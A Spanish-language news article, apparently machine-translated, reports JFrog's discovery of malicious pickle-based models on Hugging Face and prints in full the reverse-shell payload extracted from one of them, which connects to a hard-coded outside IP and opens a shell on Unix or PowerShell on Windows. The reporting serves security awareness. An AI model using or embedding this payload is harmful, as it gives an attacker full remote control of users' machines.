Hugging Face, el GitHub de la IA, alojaba código que bloqueaba los dispositivos de los usuarios

Hugging Face, el GitHub de la IA, alojaba código que bloqueaba los dispositivos de los usuarios
La fotografía muestra un escáner de seguridad que extrae virus de una cadena de código binario.  mano con la palabra

imágenes falsas

El código subido a la plataforma de desarrollo de inteligencia artificial Hugging Face instaló de forma encubierta puertas traseras y otros tipos de malware en las máquinas de los usuarios finales, dijeron el jueves investigadores de la firma de seguridad JFrog en un informe que probablemente sea un presagio de lo que está por venir.

En total, dijeron los investigadores de JFrog, encontraron aproximadamente 100 envíos que realizaban acciones ocultas y no deseadas cuando se descargaban y cargaban en el dispositivo de un usuario final. La mayoría de los modelos de aprendizaje automático marcados, todos los cuales no fueron detectados por Hugging Face, parecían ser pruebas de concepto benignas cargadas por investigadores o usuarios curiosos. Los investigadores de JFrog dijeron en un correo electrónico que 10 de ellos eran “verdaderamente maliciosos” porque realizaban acciones que en realidad comprometían la seguridad de los usuarios cuando se cargaban.

Control total de los dispositivos de los usuarios.

Un modelo generó especial preocupación porque abría un caparazón inverso que le daba a un dispositivo remoto en Internet control total del dispositivo del usuario final. Cuando los investigadores de JFrog cargaron el modelo en una máquina de laboratorio, la presentación de hecho cargó un caparazón inverso pero no tomó ninguna otra medida.

Eso, la dirección IP del dispositivo remoto y la existencia de shells idénticos conectados en otros lugares plantearon la posibilidad de que la presentación también fuera obra de investigadores. Sin embargo, un exploit que abre un dispositivo a dicha manipulación es una violación importante de la ética de los investigadores y demuestra que, al igual que el código enviado a GitHub y otras plataformas de desarrollo, los modelos disponibles en sitios de IA pueden plantear riesgos graves si no se examinan cuidadosamente primero.

“La carga útil del modelo otorga al atacante un caparazón en la máquina comprometida, permitiéndole obtener control total sobre las máquinas de las víctimas a través de lo que comúnmente se conoce como ‘puerta trasera'”, dijo el investigador principal de JFrog, David Cohen. escribió. “Esta infiltración silenciosa podría potencialmente otorgar acceso a sistemas internos críticos y allanar el camino para filtraciones de datos a gran escala o incluso espionaje corporativo, afectando no solo a usuarios individuales sino potencialmente a organizaciones enteras en todo el mundo, dejando a las víctimas completamente inconscientes de su estado comprometido. .”

Una máquina de laboratorio configurada como honeypot para observar lo que sucedía cuando se cargaba el modelo.

Una máquina de laboratorio configurada como honeypot para observar lo que sucedía cuando se cargaba el modelo.

JFrog

Secretos y otros datos de cebo que utilizó el honeypot para atraer al actor de amenazas.
Agrandar / Secretos y otros datos de cebo que utilizó el honeypot para atraer al actor de amenazas.

JFrog

¿Cómo lo hizo Baller432?

Al igual que los otros nueve modelos verdaderamente maliciosos, el que se analiza aquí utilizó pepinillo, un formato que durante mucho tiempo se ha reconocido como inherentemente riesgoso. Pickles se usa comúnmente en Python para convertir objetos y clases en código legible por humanos en un flujo de bytes para que pueda guardarse en el disco o compartirse a través de una red. Este proceso, conocido como serialización, presenta a los piratas informáticos la oportunidad de introducir código malicioso en el flujo.

El modelo que generó el shell inverso, enviado por una parte con el nombre de usuario baller432, pudo evadir el escáner de malware de Hugging Face utilizando el método “__reduce__” de pickle para ejecutar código arbitrario después de cargar el archivo del modelo.

Cohen de JFrog explicó el proceso en un lenguaje mucho más detallado técnicamente:

Al cargar modelos de PyTorch con transformadores, un enfoque común implica utilizar la función torch.load(), que deserializa el modelo desde un archivo. Particularmente cuando se trata de modelos PyTorch entrenados con la biblioteca Transformers de Hugging Face, este método a menudo se emplea para cargar el modelo junto con su arquitectura, pesos y cualquier configuración asociada. Transformers proporciona un marco integral para tareas de procesamiento del lenguaje natural, facilitando la creación y el despliegue de modelos sofisticados. En el contexto del repositorio “baller423/goober2”, parece que la carga útil maliciosa se inyectó en el archivo del modelo PyTorch utilizando el método __reduce__ del módulo pickle. Este método, como se demuestra en la referencia proporcionada, permite a los atacantes insertar código Python arbitrario en el proceso de deserialización, lo que podría provocar un comportamiento malicioso cuando se carga el modelo.

Tras el análisis del archivo PyTorch utilizando la herramienta voluble, extrajimos con éxito la siguiente carga útil:

RHOST = "210.117.212.93"
RPORT = 4242

from sys import platform

if platform != 'win32':
    import threading
    import socket
    import pty
    import os

    def connect_and_spawn_shell():
        s = socket.socket()
        s.connect((RHOST, RPORT))
        [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]
        pty.spawn("/bin/sh")

    threading.Thread(target=connect_and_spawn_shell).start()
else:
    import os
    import socket
    import subprocess
    import threading
    import sys

    def send_to_process(s, p):
        while True:
            p.stdin.write(s.recv(1024).decode())
            p.stdin.flush()

    def receive_from_process(s, p):
        while True:
            s.send(p.stdout.read(1).encode())

    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    while True:
        try:
            s.connect((RHOST, RPORT))
            break
        except:
            pass

    p = subprocess.Popen(["powershell.exe"], 
                         stdout=subprocess.PIPE,
                         stderr=subprocess.STDOUT,
                         stdin=subprocess.PIPE,
                         shell=True,
                         text=True)

    threading.Thread(target=send_to_process, args=[s, p], daemon=True).start()
    threading.Thread(target=receive_from_process, args=[s, p], daemon=True).start()
    p.wait()

Desde entonces, Hugging Face eliminó el modelo y los demás señalados por JFrog.

Leave a Reply

Your email address will not be published. Required fields are marked *